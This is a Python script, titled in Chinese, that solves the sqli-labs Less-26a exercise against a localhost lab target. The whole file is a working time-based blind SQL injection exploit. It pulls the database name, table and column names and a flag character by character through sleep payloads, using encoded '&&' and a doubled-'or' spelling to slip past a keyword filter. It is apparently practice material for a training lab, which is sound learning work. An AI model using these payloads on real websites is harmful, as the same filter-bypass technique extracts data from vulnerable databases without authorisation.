sql-labs-less26a|sql注入（脚本）

import requests
import time
import datetime

url = "http://localhost/sqli-labs-master/Less-26a/?id=1'"

def get_dbname():
    db_name = ''
    for i in range(10):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
#%26代表&符号，因为%是转义符所以要用双百分号。
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                db_name += chr(k)
                print("数据库名为->"+db_name)
get_dbname()

def get_table():
    table = ''
    for i in range(40):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                table += chr(k)
                print("所有表名为->"+table)
get_table()

def get_columns():
    column_name = ''
    for i in range(20):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flag')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                column_name += chr(k)
                print("flag所有字段名为->"+column_name)
get_columns()

def get_flag():
    flag = ''
    for i in range(30):
        for k in range(32,127):
            payload = "%%26%%26if(ascii(substr((select(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                flag += chr(k)
                print("flag为->"+flag)
get_flag()